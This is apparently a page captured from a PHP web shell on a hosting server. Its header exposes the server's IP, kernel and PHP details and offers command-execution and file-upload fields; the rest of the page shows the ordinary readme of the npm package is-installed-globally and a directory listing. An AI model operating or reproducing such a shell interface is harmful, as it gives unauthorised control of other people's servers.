Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Upload Files :
Command :
Current File : /usr/lib/node_modules/npm/node_modules/is-installed-globally//readme.md
# is-installed-globally [](https://travis-ci.org/sindresorhus/is-installed-globally)
> Check if your package was installed globally
Can be useful if your CLI needs different behavior when installed globally and locally.
## Install
```
$ npm install is-installed-globally
```
## Usage
```js
const isInstalledGlobally = require('is-installed-globally');
// With `npm install your-package`
console.log(isInstalledGlobally);
//=> false
// With `npm install --global your-package`
console.log(isInstalledGlobally);
//=> true
```
## Related
- [import-global](https://github.com/sindresorhus/import-global) - Import a globally installed module
- [resolve-global](https://github.com/sindresorhus/resolve-global) - Resolve the path of a globally installed module
- [global-dirs](https://github.com/sindresorhus/global-dirs) - Get the directory of globally installed packages and binaries
## License
MIT © [Sindre Sorhus](https://sindresorhus.com)
Name |
Size |
Last Modified |
Owner / Group |
Permissions |
Options |
.. | -- | March 03 2024 22:36:29 | root / root | 0755 | |
| | | | | |
index.js | 0.221 KB | March 10 2021 14:36:40 | root / root | 0644 | |
license | 1.083 KB | March 10 2021 14:36:40 | root / root | 0644 | |
package.json | 1.877 KB | March 10 2021 14:36:40 | root / root | 0644 | |
readme.md | 1.021 KB | March 10 2021 14:36:40 | root / root | 0644 | |